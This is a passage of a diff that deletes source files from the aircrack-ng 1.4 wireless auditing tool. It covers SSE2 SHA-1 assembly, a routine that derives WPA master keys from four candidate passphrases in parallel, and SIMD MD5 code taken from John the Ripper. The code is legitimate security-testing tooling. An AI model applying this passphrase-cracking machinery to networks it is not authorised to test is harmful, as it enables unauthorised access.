-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 46 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 47 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 48 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 49 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 50 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 51 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 52 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 53 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 54 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 55 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 56 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 57 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 58 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 59 );
-
-round3:
-
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 60 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 61 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 62 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 63 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 64 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 65 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 66 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 67 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 68 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 69 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 70 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 71 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 72 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 73 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 74 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 75 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 76 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 77 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 78 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 79 );
-
-        paddd    0(eax_rdi), ctxa
-        paddd   16(eax_rdi), ctxb
-        paddd   32(eax_rdi), ctxc
-        paddd   48(eax_rdi), ctxd
-        paddd   64(eax_rdi), ctxe
-
-        movdqa    ctxa,  0(eax_rdi)
-        movdqa    ctxb, 16(eax_rdi)
-        movdqa    ctxc, 32(eax_rdi)
-        movdqa    ctxd, 48(eax_rdi)
-        movdqa    ctxe, 64(eax_rdi)
-        END_PIC()
-
-        ret
-
-// returns 0 if neither MMX nor SSE2 are supported; 1 if MMX is supported; 2 if SSE2 is also supported
- shasse2_cpuid:
-_shasse2_cpuid:
-#ifndef __x86_64__
-		pushfl
-		pushfl
-		popl	%eax
-		movl	%eax, %ecx
-		xorl	$0x200000, %eax
-		push	%eax
-		popfl
-		pushfl
-		popl	%eax
-		popfl
-		xorl	%ecx, %eax
-		jnz		do_cpuid
-		ret
-do_cpuid:
-#endif   	
-
-#ifdef __x86_64__
-		push    %rbx
-		push    %rcx
-		push    %rdx
-#else
-		push	%ebx
-		push	%ecx
-		push	%edx
-#endif		
-   		movl	$1, %eax
-   		cpuid
-   		
-		testl	$0x00800000, %edx  // bit 23 (MMX)
-		jz		no_mmx
-   		testl	$0x04000000, %edx  // bit 26 (SSE2)
-   		jz		mmx_only
-   		
-		// sse2 supported:
-		movl	$2, %eax
-		jmp		cpuid_exit
-		
-mmx_only:
-		movl	$1, %eax
-		jmp		cpuid_exit
-
-no_mmx:
-		movl	$0, %eax
-
-cpuid_exit:
-#ifdef __x86_64__
-		pop		%rdx
-		pop		%rcx
-		pop		%rbx
-#else
-		pop		%edx
-		pop		%ecx
-		pop		%ebx
-#endif
-		ret
-#ifdef __i386__
-#ifdef __PIC__
-#ifndef __APPLE__
-	.section .gnu.linkonce.t.__i686.get_pc_thunk.bx,"ax",@progbits
-#endif
-.globl __i686.get_pc_thunk.bx
-
-#ifdef __APPLE__
-    .private_extern  __i686.get_pc_thunk.bx
-#else
-	.hidden  __i686.get_pc_thunk.bx
-	.type    __i686.get_pc_thunk.bx,@function
-#endif
-__i686.get_pc_thunk.bx:
-	movl (%esp), %ebx
-	ret
-#endif
-#endif
-#endif
-
-
-#ifdef __ELF__
-.section .note.GNU-stack,"",%progbits
-#endif

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/sha1-sse2.h Deleted

@@ -1,392 +0,0 @@
-/* C code for SSE2 (i386) optimized SHA1 - License: GPLv2
- * (c) nx5 <naplam33@msn.com>
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
- * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
- * NON-INFRINGEMENT.  See the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
- * MA 02110-1301, USA.
- *
- * In addition, as a special exception, the copyright holders give
- * permission to link the code of portions of this program with the
- * OpenSSL library under certain conditions as described in each
- * individual source file, and distribute linked combinations
- * including the two.
- * You must obey the GNU General Public License in all respects
- * for all of the code used other than OpenSSL.  If you modify
- * file(s) with this exception, you may extend this exception to your
- * version of the file(s), but you are not obligated to do so.  If you
- * do not wish to do so, delete this exception statement from your
- * version.  If you delete this exception statement from all source
- * files in the program, then also delete it here.
- */
-
-#include <stdlib.h>
-#include <stdio.h>
-#include <string.h>
-#include <time.h>
-
-#include "crypto.h"
-
-#if defined(__i386__) || ((defined(__x86_64__) && !defined(__CYGWIN__))        \
-						  || (defined(__x86_64__) && defined(__CYGWIN__)       \
-							  && !defined(__clang__)))
-
-#ifdef OLD_SSE_CORE
-void show_result(char * key, unsigned char * pmk)
-{
-	int i;
-	printf("%-14s ", key);
-	for (i = 0; i < 32; i++) printf("%.2X", pmk[i]);
-	printf("\n");
-}
-
-#endif
-extern int shasse2_init(unsigned char ctx[80]) __attribute__((regparm(1)));
-
-extern int shasse2_ends(unsigned char ctx[80], unsigned char digests[80])
-	__attribute__((regparm(2)));
-
-extern int shasse2_data(unsigned char ctx[80],
-						unsigned char data[256],
-						unsigned char buf[1280]) __attribute__((regparm(3)));
-
-extern int shasse2_cpuid(void);
-
-#ifdef OLD_SSE_CORE
-void calc_4pmk(char * _key1,
-			   char * _key2,
-			   char * _key3,
-			   char * _key4,
-			   char * _essid,
-			   unsigned char * _pmk1,
-			   unsigned char * _pmk2,
-			   unsigned char * _pmk3,
-			   unsigned char * _pmk4)
-{
-	int slen;
-	char essid[36] __attribute__((aligned(16)));
-	char key1[128] __attribute__((aligned(16)));
-	char key2[128] __attribute__((aligned(16)));
-	char key3[128] __attribute__((aligned(16)));
-	char key4[128] __attribute__((aligned(16)));
-	unsigned char pmks[128 * 4] __attribute__((aligned(16)));
-
-	// All in double size
-	unsigned char k_ipad[256] __attribute__((aligned(16)));
-	unsigned char ctx_ipad[80] __attribute__((aligned(16)));
-	unsigned char k_opad[256] __attribute__((aligned(16)));
-	unsigned char ctx_opad[80] __attribute__((aligned(16)));
-	unsigned char buffer[256] __attribute__((aligned(16)));
-	unsigned char sha1_ctx[80] __attribute__((aligned(16)));
-	unsigned char wrkbuf[1280] __attribute__((aligned(16)));
-	unsigned i, *u, *v, *w, *u3, *v4;
-	unsigned char *pmk1, *pmk2, *pmk3, *pmk4;
-
-	pmk1 = pmks;
-	pmk2 = pmks + 128;
-	pmk3 = pmks + 128 * 2;
-	pmk4 = pmks + 128 * 3;
-
-	memset(key1, 0, sizeof(key1));
-	memset(key2, 0, sizeof(key2));
-	memset(key3, 0, sizeof(key3));
-	memset(key4, 0, sizeof(key4));
-	memset(essid, 0, sizeof(essid));
-	memset(pmks, 0, sizeof(pmks));
-	memset(buffer, 0, sizeof(buffer));
-	memset(wrkbuf, 0, sizeof(wrkbuf));
-
-	memccpy(essid, _essid, 0, sizeof(essid));
-	memccpy(key1, _key1, 0, sizeof(key1));
-	memccpy(key2, _key2, 0, sizeof(key2));
-	memccpy(key3, _key3, 0, sizeof(key3));
-	memccpy(key4, _key4, 0, sizeof(key4));
-
-	slen = strlen(essid) + 4;
-
-	/* SSE2 available, so compute four PMKs in a single row */
-
-	memset(k_ipad, 0, sizeof(k_ipad));
-	memset(k_opad, 0, sizeof(k_opad));
-
-	memcpy(k_ipad, key1, strlen(key1));
-	memcpy(k_opad, key1, strlen(key1));
-
-	memcpy(k_ipad + 64, key2, strlen(key2));
-	memcpy(k_opad + 64, key2, strlen(key2));
-
-	memcpy(k_ipad + 128, key3, strlen(key3));
-	memcpy(k_opad + 128, key3, strlen(key3));
-
-	memcpy(k_ipad + 192, key4, strlen(key4));
-	memcpy(k_opad + 192, key4, strlen(key4));
-
-	u = (unsigned *) (k_ipad);
-	v = (unsigned *) (k_ipad + 64);
-	u3 = (unsigned *) (k_ipad + 128);
-	v4 = (unsigned *) (k_ipad + 192);
-	w = (unsigned *) buffer;
-
-	for (i = 0; i < 16; i++)
-	{
-		/* interleave the data */
-
-		*w++ = *u++ ^ 0x36363636;
-		*w++ = *v++ ^ 0x36363636;
-		*w++ = *u3++ ^ 0x36363636;
-		*w++ = *v4++ ^ 0x36363636;
-	}
-
-	shasse2_init(ctx_ipad);
-	shasse2_data(ctx_ipad, buffer, wrkbuf);
-
-	u = (unsigned *) (k_opad);
-	v = (unsigned *) (k_opad + 64);
-	u3 = (unsigned *) (k_opad + 128);
-	v4 = (unsigned *) (k_opad + 192);
-	w = (unsigned *) buffer;
-
-	for (i = 0; i < 16; i++)
-	{
-		*w++ = *u++ ^ 0x5C5C5C5C;
-		*w++ = *v++ ^ 0x5C5C5C5C;
-		*w++ = *u3++ ^ 0x5C5C5C5C;
-		*w++ = *v4++ ^ 0x5C5C5C5C;
-	}
-
-	shasse2_init(ctx_opad);
-	shasse2_data(ctx_opad, buffer, wrkbuf);
-
-	memset(buffer, 0, sizeof(buffer));
-
-	buffer[80] = buffer[84] = buffer[88] = buffer[92] = 0x80;
-	buffer[242] = buffer[246] = buffer[250] = buffer[254] = 0x02;
-	buffer[243] = buffer[247] = buffer[251] = buffer[255] = 0xA0;
-
-	essid[slen - 1] = '\1';
-
-	HMAC(EVP_sha1(),
-		 (unsigned char *) key1,
-		 strlen(key1),
-		 (unsigned char *) essid,
-		 slen,
-		 pmk1,
-		 NULL);
-	HMAC(EVP_sha1(),
-		 (unsigned char *) key2,
-		 strlen(key2),
-		 (unsigned char *) essid,
-		 slen,
-		 pmk2,
-		 NULL);
-	HMAC(EVP_sha1(),
-		 (unsigned char *) key3,
-		 strlen(key3),
-		 (unsigned char *) essid,
-		 slen,
-		 pmk3,
-		 NULL);
-	HMAC(EVP_sha1(),
-		 (unsigned char *) key4,
-		 strlen(key4),
-		 (unsigned char *) essid,
-		 slen,
-		 pmk4,
-		 NULL);
-
-	u = (unsigned *) pmk1;
-	v = (unsigned *) pmk2;
-	u3 = (unsigned *) pmk3;
-	v4 = (unsigned *) pmk4;
-	w = (unsigned *) buffer;
-
-	*w++ = *u++;
-	*w++ = *v++;
-	*w++ = *u3++;
-	*w++ = *v4++;
-	*w++ = *u++;
-	*w++ = *v++;
-	*w++ = *u3++;
-	*w++ = *v4++;
-	*w++ = *u++;
-	*w++ = *v++;
-	*w++ = *u3++;
-	*w++ = *v4++;
-	*w++ = *u++;
-	*w++ = *v++;
-	*w++ = *u3++;
-	*w++ = *v4++;
-	*w++ = *u++;
-	*w++ = *v++;
-	*w++ = *u3++;
-	*w++ = *v4++;
-
-	for (i = 1; i < 4096; i++)
-	{
-		memcpy(sha1_ctx, ctx_ipad, 80); // eran 40
-		shasse2_data(sha1_ctx, buffer, wrkbuf);
-		shasse2_ends(sha1_ctx, buffer);
-
-		memcpy(sha1_ctx, ctx_opad, 80);
-		shasse2_data(sha1_ctx, buffer, wrkbuf);
-		shasse2_ends(sha1_ctx, buffer);
-
-		u = (unsigned *) pmk1;
-		v = (unsigned *) pmk2;
-		u3 = (unsigned *) pmk3;
-		v4 = (unsigned *) pmk4;
-		w = (unsigned *) buffer;
-
-		/* de-interleave the digests */
-		*u++ ^= *w++;
-		*v++ ^= *w++;
-		*u3++ ^= *w++;
-		*v4++ ^= *w++;
-		*u++ ^= *w++;
-		*v++ ^= *w++;
-		*u3++ ^= *w++;
-		*v4++ ^= *w++;
-		*u++ ^= *w++;
-		*v++ ^= *w++;
-		*u3++ ^= *w++;
-		*v4++ ^= *w++;
-		*u++ ^= *w++;
-		*v++ ^= *w++;
-		*u3++ ^= *w++;
-		*v4++ ^= *w++;
-		*u++ ^= *w++;
-		*v++ ^= *w++;
-		*u3++ ^= *w++;
-		*v4++ ^= *w++;
-	}
-
-	essid[slen - 1] = '\2';
-
-	HMAC(EVP_sha1(),
-		 (unsigned char *) key1,
-		 strlen(key1),
-		 (unsigned char *) essid,
-		 slen,
-		 pmk1 + 20,
-		 NULL);
-	HMAC(EVP_sha1(),
-		 (unsigned char *) key2,
-		 strlen(key2),
-		 (unsigned char *) essid,
-		 slen,
-		 pmk2 + 20,
-		 NULL);
-	HMAC(EVP_sha1(),
-		 (unsigned char *) key3,
-		 strlen(key3),
-		 (unsigned char *) essid,
-		 slen,
-		 pmk3 + 20,
-		 NULL);
-	HMAC(EVP_sha1(),
-		 (unsigned char *) key4,
-		 strlen(key4),
-		 (unsigned char *) essid,
-		 slen,
-		 pmk4 + 20,
-		 NULL);
-
-	u = (unsigned *) (pmk1 + 20); // eran 20
-	v = (unsigned *) (pmk2 + 20);
-	u3 = (unsigned *) (pmk3 + 20); // eran 20
-	v4 = (unsigned *) (pmk4 + 20);
-	w = (unsigned *) buffer;
-
-	*w++ = *u++;
-	*w++ = *v++;
-	*w++ = *u3++;
-	*w++ = *v4++;
-	*w++ = *u++;
-	*w++ = *v++;
-	*w++ = *u3++;
-	*w++ = *v4++;
-	*w++ = *u++;
-	*w++ = *v++;
-	*w++ = *u3++;
-	*w++ = *v4++;
-	*w++ = *u++;
-	*w++ = *v++;
-	*w++ = *u3++;
-	*w++ = *v4++;
-	*w++ = *u++;
-	*w++ = *v++;
-	*w++ = *u3++;
-	*w++ = *v4++;
-
-	for (i = 1; i < 4096; i++)
-	{
-		memcpy(sha1_ctx, ctx_ipad, 80); // eran 40
-		shasse2_data(sha1_ctx, buffer, wrkbuf);
-		shasse2_ends(sha1_ctx, buffer);
-
-		memcpy(sha1_ctx, ctx_opad, 80);
-		shasse2_data(sha1_ctx, buffer, wrkbuf);
-		shasse2_ends(sha1_ctx, buffer);
-
-		u = (unsigned *) (pmk1 + 20); // eran 20
-		v = (unsigned *) (pmk2 + 20);
-		u3 = (unsigned *) (pmk3 + 20);
-		v4 = (unsigned *) (pmk4 + 20);
-		w = (unsigned *) buffer;
-
-		*u++ ^= *w++;
-		*v++ ^= *w++;
-		*u3++ ^= *w++;
-		*v4++ ^= *w++;
-		*u++ ^= *w++;
-		*v++ ^= *w++;
-		*u3++ ^= *w++;
-		*v4++ ^= *w++;
-		*u++ ^= *w++;
-		*v++ ^= *w++;
-		*u3++ ^= *w++;
-		*v4++ ^= *w++;
-	}
-
-	memcpy(_pmk3, pmk3, 32);
-	memcpy(_pmk4, pmk4, 32);
-	memcpy(_pmk1, pmk1, 32);
-	memcpy(_pmk2, pmk2, 32);
-
-	/*printf("\n");
-	show_result(_key1, _pmk1);
-	show_result(_key2, _pmk2);
-	show_result(_key3, _pmk3);
-	show_result(_key4, _pmk4);
-	fflush(stdout);*/
-}
-#endif
-#else
-#ifdef OLD_SSE_CORE
-void calc_4pmk(char * _key1,
-			   char * _key2,
-			   char * _key3,
-			   char * _key4,
-			   char * _essid,
-			   unsigned char * _pmk1,
-			   unsigned char * _pmk2,
-			   unsigned char * _pmk3,
-			   unsigned char * _pmk4)
-{
-	calc_pmk(_key1, _essid, _pmk1);
-	calc_pmk(_key2, _essid, _pmk2);
-	calc_pmk(_key3, _essid, _pmk3);
-	calc_pmk(_key4, _essid, _pmk4);
-}
-#endif
-#endif

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/simd-intrinsics.c Deleted

@@ -1,2967 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * This software is
- * Copyright (c) 2010 bartavelle, <bartavelle at bandecon.com>,
- * Copyright (c) 2012 Solar Designer,
- * Copyright (c) 2011-2015 JimF,
- * Copyright (c) 2011-2015 magnum,
- * and it is hereby released to the general public under the following terms:
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted.
- *
- * SHA-2 Copyright 2013, epixoip. Redistribution and use in source and binary
- * forms, with or without modification, are permitted provided that
- * redistribution of source retains the above copyright.
- */
-
-#include <string.h>
-
-#include "arch.h"
-#include "pseudo_intrinsics.h"
-#include "memory.h"
-#include "md5.h"
-#include "MD5_std.h"
-#include "stdint.h"
-#include "johnswap.h"
-#include "simd-intrinsics-load-flags.h"
-#include "aligned.h"
-#include "misc.h"
-#include "memdbg.h"
-
-/* Shorter names for use in index calculations */
-#define VS32 SIMD_COEF_32
-#define VS64 SIMD_COEF_64
-
-#if SIMD_PARA_MD5
-#define MD5_SSE_NUM_KEYS (SIMD_COEF_32 * SIMD_PARA_MD5)
-#define MD5_PARA_DO(x) for ((x) = 0; (x) < SIMD_PARA_MD5; (x)++)
-
-#define MD5_F(x, y, z) tmp[i] = vcmov((y[i]), (z[i]), (x[i]));
-
-#define MD5_G(x, y, z) tmp[i] = vcmov((x[i]), (y[i]), (z[i]));
-
-#if __AVX512F__
-#define MD5_H(x, y, z) tmp[i] = vternarylogic(x[i], y[i], z[i], 0x96);
-
-#define MD5_H2(x, y, z) tmp[i] = vternarylogic(x[i], y[i], z[i], 0x96);
-#elif 1
-#define MD5_H(x, y, z)                                                         \
-	tmp2[i] = vxor((x[i]), (y[i]));                                            \
-	tmp[i] = vxor(tmp2[i], (z[i]));
-
-#define MD5_H2(x, y, z) tmp[i] = vxor((x[i]), tmp2[i]);
-#else
-#define MD5_H(x, y, z)                                                         \
-	tmp[i] = vxor((x[i]), (y[i]));                                             \
-	tmp[i] = vxor((tmp[i]), (z[i]));
-
-#define MD5_H2(x, y, z)                                                        \
-	tmp[i] = vxor((y[i]), (z[i]));                                             \
-	tmp[i] = vxor((tmp[i]), (x[i]));
-#endif
-
-#if __AVX512F__
-#define MD5_I(x, y, z) tmp[i] = vternarylogic(x[i], y[i], z[i], 0x39);
-#elif __ARM_NEON__
-#define MD5_I(x, y, z)                                                         \
-	tmp[i] = vorn((x[i]), (z[i]));                                             \
-	tmp[i] = vxor((tmp[i]), (y[i]));
-#elif !VCMOV_EMULATED
-#define MD5_I(x, y, z)                                                         \
-	tmp[i] = vcmov((x[i]), mask, (z[i]));                                      \
-	tmp[i] = vxor((tmp[i]), (y[i]));
-#else
-#define MD5_I(x, y, z)                                                         \
-	tmp[i] = vandnot((z[i]), mask);                                            \
-	tmp[i] = vor((tmp[i]), (x[i]));                                            \
-	tmp[i] = vxor((tmp[i]), (y[i]));
-#endif
-
-#define MD5_STEP(f, a, b, c, d, x, t, s)                                       \
-	MD5_PARA_DO(i)                                                             \
-	{                                                                          \
-		a[i] = vadd_epi32(a[i], vset1_epi32(t));                               \
-		a[i] = vadd_epi32(a[i], data[i * 16 + x]);                             \
-		f((b), (c), (d)) a[i] = vadd_epi32(a[i], tmp[i]);                      \
-		a[i] = vroti_epi32(a[i], (s));                                         \
-		a[i] = vadd_epi32(a[i], b[i]);                                         \
-	}
-
-#define MD5_STEP_r16(f, a, b, c, d, x, t, s)                                   \
-	MD5_PARA_DO(i)                                                             \
-	{                                                                          \
-		a[i] = vadd_epi32(a[i], vset1_epi32(t));                               \
-		a[i] = vadd_epi32(a[i], data[i * 16 + x]);                             \
-		f((b), (c), (d)) a[i] = vadd_epi32(a[i], tmp[i]);                      \
-		a[i] = vroti16_epi32(a[i], (s));                                       \
-		a[i] = vadd_epi32(a[i], b[i]);                                         \
-	}
-
-#define INIT_A 0x67452301
-
-void md5_reverse(uint32_t * hash) { hash[0] -= INIT_A; }
-
-void md5_unreverse(uint32_t * hash) { hash[0] += INIT_A; }
-
-#undef INIT_A
-
-void SIMDmd5body(vtype * _data,
-				 unsigned int * out,
-				 ARCH_WORD_32 * reload_state,
-				 unsigned SSEi_flags)
-{
-	vtype w[16 * SIMD_PARA_MD5];
-	vtype a[SIMD_PARA_MD5];
-	vtype b[SIMD_PARA_MD5];
-	vtype c[SIMD_PARA_MD5];
-	vtype d[SIMD_PARA_MD5];
-	vtype tmp[SIMD_PARA_MD5];
-#if !__AVX512F__
-	vtype tmp2[SIMD_PARA_MD5];
-#endif
-	unsigned int i;
-	vtype * data;
-
-#if !__AVX512F__ && !__ARM_NEON__
-	vtype mask;
-	mask = vset1_epi32(0xffffffff);
-#endif
-
-	if (SSEi_flags & SSEi_FLAT_IN)
-	{
-// Move _data to __data, mixing it SIMD_COEF_32 wise.
-#if __SSE4_1__ || __MIC__
-		unsigned k;
-		vtype * W = w;
-		ARCH_WORD_32 * saved_key = (ARCH_WORD_32 *) _data;
-		MD5_PARA_DO(k)
-		{
-			if (SSEi_flags & SSEi_4BUF_INPUT)
-			{
-				for (i = 0; i < 16; ++i)
-				{
-					GATHER_4x(W[i], saved_key, i);
-				}
-				saved_key += (VS32 << 6);
-			}
-			else if (SSEi_flags & SSEi_2BUF_INPUT)
-			{
-				for (i = 0; i < 16; ++i)
-				{
-					GATHER_2x(W[i], saved_key, i);
-				}
-				saved_key += (VS32 << 5);
-			}
-			else
-			{
-				for (i = 0; i < 16; ++i)
-				{
-					GATHER(W[i], saved_key, i);
-				}
-				saved_key += (VS32 << 4);
-			}
-			W += 16;
-		}
-#else
-		unsigned j, k;
-		ARCH_WORD_32 * p = (ARCH_WORD_32 *) w;
-		vtype * W = w;
-		ARCH_WORD_32 * saved_key = (ARCH_WORD_32 *) _data;
-		MD5_PARA_DO(k)
-		{
-			if (SSEi_flags & SSEi_4BUF_INPUT)
-			{
-				for (j = 0; j < 16; j++)
-					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 6) + j];
-				saved_key += (VS32 << 6);
-			}
-			else if (SSEi_flags & SSEi_2BUF_INPUT)
-			{
-				for (j = 0; j < 16; j++)
-					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 5) + j];
-				saved_key += (VS32 << 5);
-			}
-			else
-			{
-				for (j = 0; j < 16; j++)
-					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 4) + j];
-				saved_key += (VS32 << 4);
-			}
-			W += 16;
-		}
-#endif
-		// now set our data pointer to point to this 'mixed' data.
-		data = w;
-	}
-	else
-		data = _data;
-
-	if ((SSEi_flags & SSEi_RELOAD) == 0)
-	{
-		MD5_PARA_DO(i)
-		{
-			a[i] = vset1_epi32(0x67452301);
-			b[i] = vset1_epi32(0xefcdab89);
-			c[i] = vset1_epi32(0x98badcfe);
-			d[i] = vset1_epi32(0x10325476);
-		}
-	}
-	else
-	{
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
-		{
-			MD5_PARA_DO(i)
-			{
-				a[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 0 * VS32]);
-				b[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 1 * VS32]);
-				c[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 2 * VS32]);
-				d[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 3 * VS32]);
-			}
-		}
-		else
-		{
-			MD5_PARA_DO(i)
-			{
-				a[i] = vload((vtype *) &reload_state[i * 4 * VS32 + 0 * VS32]);
-				b[i] = vload((vtype *) &reload_state[i * 4 * VS32 + 1 * VS32]);
-				c[i] = vload((vtype *) &reload_state[i * 4 * VS32 + 2 * VS32]);
-				d[i] = vload((vtype *) &reload_state[i * 4 * VS32 + 3 * VS32]);
-			}
-		}
-	}
-
-	/* Round 1 */
-	MD5_STEP(MD5_F, a, b, c, d, 0, 0xd76aa478, 7)
-	MD5_STEP(MD5_F, d, a, b, c, 1, 0xe8c7b756, 12)
-	MD5_STEP(MD5_F, c, d, a, b, 2, 0x242070db, 17)
-	MD5_STEP(MD5_F, b, c, d, a, 3, 0xc1bdceee, 22)
-	MD5_STEP(MD5_F, a, b, c, d, 4, 0xf57c0faf, 7)
-	MD5_STEP(MD5_F, d, a, b, c, 5, 0x4787c62a, 12)
-	MD5_STEP(MD5_F, c, d, a, b, 6, 0xa8304613, 17)
-	MD5_STEP(MD5_F, b, c, d, a, 7, 0xfd469501, 22)
-	MD5_STEP(MD5_F, a, b, c, d, 8, 0x698098d8, 7)
-	MD5_STEP(MD5_F, d, a, b, c, 9, 0x8b44f7af, 12)
-	MD5_STEP(MD5_F, c, d, a, b, 10, 0xffff5bb1, 17)
-	MD5_STEP(MD5_F, b, c, d, a, 11, 0x895cd7be, 22)
-	MD5_STEP(MD5_F, a, b, c, d, 12, 0x6b901122, 7)
-	MD5_STEP(MD5_F, d, a, b, c, 13, 0xfd987193, 12)
-	MD5_STEP(MD5_F, c, d, a, b, 14, 0xa679438e, 17)
-	MD5_STEP(MD5_F, b, c, d, a, 15, 0x49b40821, 22)
-
-	/* Round 2 */
-	MD5_STEP(MD5_G, a, b, c, d, 1, 0xf61e2562, 5)
-	MD5_STEP(MD5_G, d, a, b, c, 6, 0xc040b340, 9)
-	MD5_STEP(MD5_G, c, d, a, b, 11, 0x265e5a51, 14)
-	MD5_STEP(MD5_G, b, c, d, a, 0, 0xe9b6c7aa, 20)
-	MD5_STEP(MD5_G, a, b, c, d, 5, 0xd62f105d, 5)
-	MD5_STEP(MD5_G, d, a, b, c, 10, 0x02441453, 9)
-	MD5_STEP(MD5_G, c, d, a, b, 15, 0xd8a1e681, 14)
-	MD5_STEP(MD5_G, b, c, d, a, 4, 0xe7d3fbc8, 20)
-	MD5_STEP(MD5_G, a, b, c, d, 9, 0x21e1cde6, 5)
-	MD5_STEP(MD5_G, d, a, b, c, 14, 0xc33707d6, 9)
-	MD5_STEP(MD5_G, c, d, a, b, 3, 0xf4d50d87, 14)
-	MD5_STEP(MD5_G, b, c, d, a, 8, 0x455a14ed, 20)
-	MD5_STEP(MD5_G, a, b, c, d, 13, 0xa9e3e905, 5)
-	MD5_STEP(MD5_G, d, a, b, c, 2, 0xfcefa3f8, 9)
-	MD5_STEP(MD5_G, c, d, a, b, 7, 0x676f02d9, 14)
-	MD5_STEP(MD5_G, b, c, d, a, 12, 0x8d2a4c8a, 20)
-
-	/* Round 3 */
-	MD5_STEP(MD5_H, a, b, c, d, 5, 0xfffa3942, 4)
-	MD5_STEP(MD5_H2, d, a, b, c, 8, 0x8771f681, 11)
-	MD5_STEP_r16(MD5_H, c, d, a, b, 11, 0x6d9d6122, 16) MD5_STEP(
-		MD5_H2, b, c, d, a, 14, 0xfde5380c, 23)
-		MD5_STEP(MD5_H, a, b, c, d, 1, 0xa4beea44, 4) MD5_STEP(
-			MD5_H2, d, a, b, c, 4, 0x4bdecfa9, 11)
-			MD5_STEP_r16(MD5_H, c, d, a, b, 7, 0xf6bb4b60, 16) MD5_STEP(
-				MD5_H2, b, c, d, a, 10, 0xbebfbc70, 23)
